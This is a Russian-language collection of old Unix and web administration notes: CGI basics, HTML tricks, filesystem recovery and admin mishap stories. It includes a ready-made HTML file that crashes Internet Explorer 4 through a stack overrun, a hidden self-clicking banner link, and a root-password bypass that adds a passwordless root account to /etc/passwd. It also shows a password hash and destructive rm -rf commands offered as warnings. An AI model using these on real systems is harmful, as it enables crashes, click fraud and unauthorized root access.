CGI-script должен лежать в /home/httpd/cgi-bin тогда его находят (или в других каталогах, описанных в acces.conf Данные передаются в командной строке, через переменные окружения, и через стандартный ввод. Возвращаются на стандартный вывод, в начале должна стоять "волшебная строка" Если добавить в коннфигурационный файл /etc/httpd/conf/srm.conf :------------------------ AddType application/x-httpd-cgi .cgi То CGI-скрипты можно будет клась в любой подкаталог дерева документов - с расширением .cgi &dDФормы и индексы&d@ Войти в файл, и спозиционироваться на строку с шаблоном "cl" http://hoohoo.ncsa.uiuc.edu/file.html#cl Request for a CGI script with no extra path information and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi Request for a script with extra path information, and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path Request for a script with no extra path information, and an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query Request for a script with extra path information as well as an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента: extra path - "добавочный маршрут", идущий вслед за именем екзешника query - длинная строка после знака "?" на extra path работает image map - им передается имя описателя картинки query передается заполненным ISINDEX &dDCGI-скрипту передаются такие параметры:&d@ Параметры передаются в переменных окружения. REMOTE_ADDR=127.0.0.1 REMOTE_HOST=localhost HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt REQUEST_METHOD=GET QUERY_STRING=query PATH_INFO=/marshrut PATH_TRANSLATED=/home/httpd/docs/marshrut SCRIPT_NAME=/cgi-bin/proba HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified А теперь вот как оформляются формы с checkbox'ами:
    Press me.

    Press me.

    # ISINDEX - параметр запроса передается пргограмме CGI в $1 # В форме METHOD=GET - там вызывается команда которой передается # аргумент в переменной окружения QUERY_STRING # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off # А вот как работает POST, и PUT. Дополнительная информация проталкивается клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод. длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH а тип данных - в CONTENT_TYPE FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
    ^^^^^ поле полезно чтоб хранить информацию о "сеансе" Press me.

    &dDЧто мы посылаем клиенту обратно:&d@ Status: 200 OK Status: 404 File not found Content-type: text/html Содержимое, которое кидается сквозь нашего сервера - клиенту Если я генерю не содержимое, а только ссылку, то: Location: /path/doc.txt или Location: gopher://gopher.ncsa.uiuc.edu/ Генерим текст в чистом серверном виде - он поедет клиенту сразу, без дополнительной фильтрации: --- start of output --- HTTP/1.0 200 OK Date: Tuesday, 26-Dec-95 15:17:10 GMT Server: NCSA/1.3 MIME-version: 1.0 Content-type: text/html Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT Content-length: 3132 This is a plaintext document generated on the fly just for you. --- end of output --- Подставляйте туда соответствующие значения переменных $SERVER_PROTOCOL $SERVER_SOFTWARE &dDФенечки&d@ Автоподстановка URL с timeout'ом. Подставить в начало документа: Дальше идет местный HTML-документ - который через 12 секунд будет автоматически заменен на вышеуказанный URL Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в HTTP-заголовок документа. Например "насильственное взведение charset'а:
    I'm entering for the first time from (city, state/country)

    Content-type: text/html Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml ? http://citforum.ru/win/internet/html/c_what_is.shtml Если сказать так, то клиент останется на старом месте, и не будет переходить по ссылке Status: 204 No Content А такой линк позволяет сразу заполнить некоторые поля в mailto послании tets Самокликаемое письмо > Была идея посылать в него сообщение когда мышкой над баннером проводят. > (Когда баннер интересен, часто к нему курсор подводят) > Но что-то я не допгр как это реализовать без hidden frame. В правилах устанавливаешь, что у тебя _стандартный код_ твоей сетки содержит: Когда клиент будет снизу _пересекать_ мышью твою однопиксельную полоску будет автоклик, а чтоб клиента не напрягать - пускай твой http://koshelev.ru/cgi-bin/bannerOver возвращает код 204 No Content - т.е. _не переходить_ на линк а остаться на старой странице. &dDСсылка на которую переходят автоматически&d@ Достаточно навести на эту ссылку мышь, и броузер пойдет по линку - без клика. &dDПростые эксплойты&d@ MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag. <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> 40 80 160 170 180 190 200 </HTML> --------------------------------------------------------------- &dDЗакрытие каталогов для внешних клиентов&d@ Создаем в каталоге файл .htaccess такого содержания order deny,allow deny from all allow from polimos.ras.ru localhost AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau стандартный crypt() require valid-user &dDСм. так же&d@ Константин Окраинец. Учебник по HTML из Дубны ? http://sundg0.jinr.dubna.su/wguide/ Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3 ? ../WEBMASTER/html20new.txt . &dDРемонт разрушенных файловых систем&d@ Практически единственное средство лечения разрушений файловой системы во всех Unix - утилита &dDfsck&d@. Если не лечит она, то дело ваше почти безнадежно. Я бы посоветовал в морг, но энтузиасты могут еще немного подергаться. &dD * LINUX * &d@ Примечание: команды приведенные в примерах следует выполнять только внимательно взвесив возможные последствия. Поэтому в примерах реальные имена спецфайлов разделов жесткого диска заменены на &dD/dev/hd-name&d@ (в реальной жизни применяется /dev/hda2, /dev/hdb3 /dev/sda1...) Тонкая рихтовка fs &dDtune2fs&d@ позволяет поменять настраиваемые параметры файловой системы -c max-mount-counts -m reserved-blocks-percentage и т.п. tune2fs -m 1 /dev/hd-name # найдет вам еще 50Mb свободного места, # и позволит учинить на оставшемся клочке # свободного места катастрофическую фрагментацию Стандартное лечение файловой системы: fsck -y -c -f /dev/hd-name Форсированное лечение с проверкой и "замещением" bad-блоков fsck -y -c -f /dev/hd-name # -y неинтерактивное лечение "yes" на все вопросы # -c найти bad-блоки readonly тестом и перенести в inod bad-блоков # -f форсировать проверку (игнорировать флаг "fs is clean" Если погиб основной суперблок, добавить ключ -b 8193 или -b 16385 ... указав запасную копию. Номера запасных sb сообщает при разметке раздела утилита newfs. (Вы конечно же сохранили ее листинг?) Распечатать размещение служебных структур fs и параметры суберблока могут команды &dDtune2fs -l&d@ и &dDdumpe2fs&d@ tune2fs /dev/hd-name dumpe2fs /dev/hd-name Если погибли _все_ копии суперблока - последний шанс &dDmke2fs -S&d@ прописать _только_ структуры суперблоков и описатели групп, не трогая самих данных mke2fs -S /dev/hd-name # Write superblock and group descriptors only fsck -y /dev/hd-name # сразу всед за этим запустить fsck И даже это еще не конец. Для сильных духом остается отладчик файловой системы &dDdebugfs&d@ man debugfs &dDПоведение в авариной ситуации&d@ Естественно, целее будете, если загрузитесь в single-user mode Для этого перехватить при загрузке LILO-промпт (Left-alt) И в команду загрузки добавить параметр single Lilo: &dDlinux single&d@ В linux'овский single-user можно попасть только зная пароль root. Не зная пароля, надо грузиться так: Lilo: linux init=/bin/sh или даже так (если подготовлена rescue-дискета с файловой системой unix) Lilo: linux init=/bin/sh root=/dev/fd0H1440 Перемонтировать корневой раздел из readonly в write mount -t ext2 -n -o remount,rw /dev/hd-root / Смонтировать разрушенную fs, используая альтернативный суперблок mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname Пдробности (вы будете смеяться): man mount . &dDМаксим Мошков. Истории из жизни администратора Unix, или Грабли&d@ &dDИстория 1 со счастливым концом. Испорченный /etc/passwd&d@ &dD > Один товарищ (не я :), это из Коми) решил своему root'y вместо положенного > /sbin/sh сделать /bin/ksh > Для чего отредактировал /etc/passwd, но неудачно, ошибся и назначил > /sbin/ksh. > Пробовали: > $ su root -c /sbin/sh > Не помогло. Теперь он горько плачет и хакера зовет. > Можешь помочь, или суровое: переустанови юних? &d@ Это мы проходили. Классика. Перво- наперво "никогда, НИКОГДА не меняй shell у суперюзера..." :-) 0. Запустить shell из-под root'а все-таки можно: su root -m -s /bin/sh Но если еще и пароль забыт, тогда - поможет загрузка в single user mode или загрузка с CD/floppy/tape 1. Дать команду df, посмотреть минор/мажор у девайса, на который монтируется корень, и затем почитать мануал по команде mknod # mkdev, mknode, mksf - создать специальный файл # или как там еще она называется и записать на бумажке команду, которой создается спец-файл /dev/root (или куда там монтируется "/" 2. Загрузиться с инсталляционного стриммера/дискеты/CD. и там где уход на install/update/system maintance пойти на "system maintence" (это всего навсего shell root'овый) Осталось смонтировать /dev/root на /mnt и редактировать /mnt/etc/passwd &dDЗасада No 1&d@ Сразу после загрузки мини-системы специальных файлов соответствующих жесткому диску нет (!). Сделать его ручками - команда mknode уже записана на бумажке. &dDЗасада No 2&d@ Редактор vi не запускается (Нет terminfo) Ну и черт с ним. Придумаешь что нибудь. Например echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd ^^^^^^ обрати внимание что >> а не > (Угадай почему :-) а можно и так: PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH TERMINFO=/mnt/usr/lib/terminfo # или где он там Короче - ты дома потренируйся, а потом в Коми напиши точные имена файлов и команд, а то боюсь необученный админ сможет промахнуться пару раз, а здесь промахиваться нельзя. Приложение: Обход root passwd в Motorola Unix SVR4/88. 1. Посмотреть major/minor для / и /usr 104 0 /dev/root 104 3 /dev/dsk/m197_c0d0s3 2. Загрузка с ленты, уход на maintance . 3. Подмонтировать разделы диска, соответствующие / и /usr, с восстановлением файловой системы (т.к. система была выключена некорректно при отсутствии root пароля). mkdir /mnt mknod /dev/rootn b 104 0 /etc/fs/ufs/fsck /dev/rootn mount -F ufs /dev/rootn /mnt аналогично для /usr mknod /dev/usr3 b 104 3 /etc/fs/ufs/fsck /dev/usr3 mount -F ufs /dev/usr3 /mnt/usr 4. Отредактировать /etc/passwd, сделать беспарольного root echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd 5. Cменить корень root'у (будет в /mnt) chroot /mnt /sbin/sh 6. Обновить shadow pwconv Все. &dDИстория 2 почти о том же. Испорченный /etc/fstab&d@ Date: 20 Apr 1997 From: Bernshtam Pavel (barnshte@CS.bgu.ac.il) У меня тоже было - запортил я /etc/fstab и сделал reboot не заметив ошибки - бабах - поднимается (а это был Axil с SunOS 4.1) в single user. я делаю ls - Command not found - понятно - не замоунтил /usr посмотрел я на другом SUN'е что есть в /sbin - нашел mount, обрадовался - сделал /sbin/mount /usr. Есть VI! Помучался пока установил нужный set TERM с полчаса - запустил VI. открываю fstab - фигня со строками (вот оно - не работайте в PICO, учите VI !!!), исправил, save'лю - а root partition то READ ONLY !!! Делаю stop-A. Слава богу, посоветовали мне, что в boot-мониторе можно сделать b -rw (замаунтить с write), после этого я повторил всю процедуру с mount и VI и исправил /etc/fstab. а... еще забыл - VI не запускался пока я /var не замаунтил, т.к /tmp - линк на /var/tmp , а VI без /tmp не идет. /* а на Linux специальная команда есть - перемонтироваться на read-write - ее из single-user-mode можно выполнить mount -n -o remount / */ &dDКоманда rm -rf в SCO&d@ Ввиду того, что под шаблон ".*" подходит каталог ".." НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ rm -r .* (Большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ) &dD From: Павел Северов "... решил я на нашем SCO-шном сервере с Oraclовской базой расчистить немного свободного места на диске..." # cd /usr/tmp # rm -rf * гляжу, а там всякий хлам остался /usr/tmp/.X11-0 ну и т.п. А я тогда # rm -rf .* # ОЙ! # du ldd: Can not open file # df ldd: Can not open file # ls -al ldd: Can not open file &d@ . . . У этой истории грустный конец. Вы уже догадались, что /usr/tmp/.* содержит в себе /usr/tmp/.. После reboot'а машина, не найдя каталога /usr уже не ожила. &dDУдаленный доступ или "Запасной ключ от сейфа лежит в сейфе"&d@ Хорошая штука, Unix + TCP/IP - можно отконфигурить машину у черта на куличках не вставая с рабочего места и даже не выходя из дома. &dDИстория 1.&d@ Вот и я однажды менял то ли IP-адрес, то ли роутинг на удаленной машине... Короче - промахнулся, сказал ifconfig eth0 down Вот собственно и все. Сказать ifconfig eth0 NEW-IP было уже некому. Вы конечно догадались, что _НАДО БЫЛО_ одной строкой писать ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ... &dDИстория 2.&d@ Захотелось повысить уровень security. Пишем в /etc/hosts.deny ALL:ALL в /etc/hosts.allow ALL:193.263.12.13 ^^^ вроде бы маленькая ошибочка, цифры переставить, а нельзя - я уже успел отлогиниться. &dDУдаленный "доступ" или "Ключа вообще нет"&d@ Повис у нас однажды сервер, надо reset нажать, перегрузить, а комната заперта, и ключи уже унесли. И telnet'ом не войдешь - некуда. Вырубили свет на всем этаже, включили вновь - voila! &dDНовая /lib/libc.so - апгрейд LIB C&d@ Linux. 1993 год. Потребовалось подменить LibC. Ну, вперед, делов-то - старую передвинуть, новую - на ее место. cd lib mv libc.so libc.so-old mv libc.so-new libc.so ldd: Can not execute, shared library not found Finish. Пришлось грузиться с дискеты, монтировать hd. Но, как это ни смешно, в следующий раз те же команды, записанные в одну строку, сработали. Или библиотечка в кэше оказалась... Темна вода в Linuxе. Впрочем, файлы из каталога /sbin - обычно staticaly-linked - им для работы разделяемая libc без надобности. &dDИстория 1. Trusted mode - безопасность превыше всего&d@ В HP-UX новички администраторы очень любят sam'ом поиграть - GUI, мышиный интерфейс - администрируй на здоровье. Вот только читать сообщения надо - а они по-английски все. Очень легко, одним "Ok" в SAM включается перевод системы в trusted режим. Включают, и не замечают. А замечают через пару дней, когда с трех раз не угадают пароль root. В trusted режиме логин после этого блокируется совсем, а другого юзера ПЕРЕД ЭТИМ завести - не догадываются. Как всегда - нас спасет single user mode: перехват загрузки в prompt IPL и затем IPL> hpux -is А затем запуск sam. И переконвертировать систему в "untrusted" # mount -a # sam Но если вы ухитрились еще и пароль на boot включить - то помогайте себе сами. &dDИстория 2. Security class C2: о том же, но в SCO&d@ Security class C2 - это повышенная безопасность. И повышенный геморрой для пользователей. И для администратора - тоже. Привелось нам позвонить на защищенную SCO машину из Москвы в Питер, по модему. Скорости getty с первого раза подобрать не смогли, на логин прорывался 6-битный мусор, после третьей попытки вместо getty Login мы увидели "Intruder attempts, tty line /dev/modem disabled". Через пару недель хозяин машины вернулся в Питер и вернул getty. &dDScreen-сейвер и кнопка Enter&d@ Когда screen-saver гасит экран, что вы нажимаете? Не знаю, как остальные, а я жму клавишу CTRL. Один мой знакомый решил почистить каталог /tmp. Из-под root'а. набирает он rm -rf /tmp/*, точнее хочет набрать, поскольку в момент rm -rf /_ звонит телефон и его куда-то вызывают. Через час он вернулся, увидел погашенный экран, и нажал _свою_ любимую клавишу. Угадайте, какую? .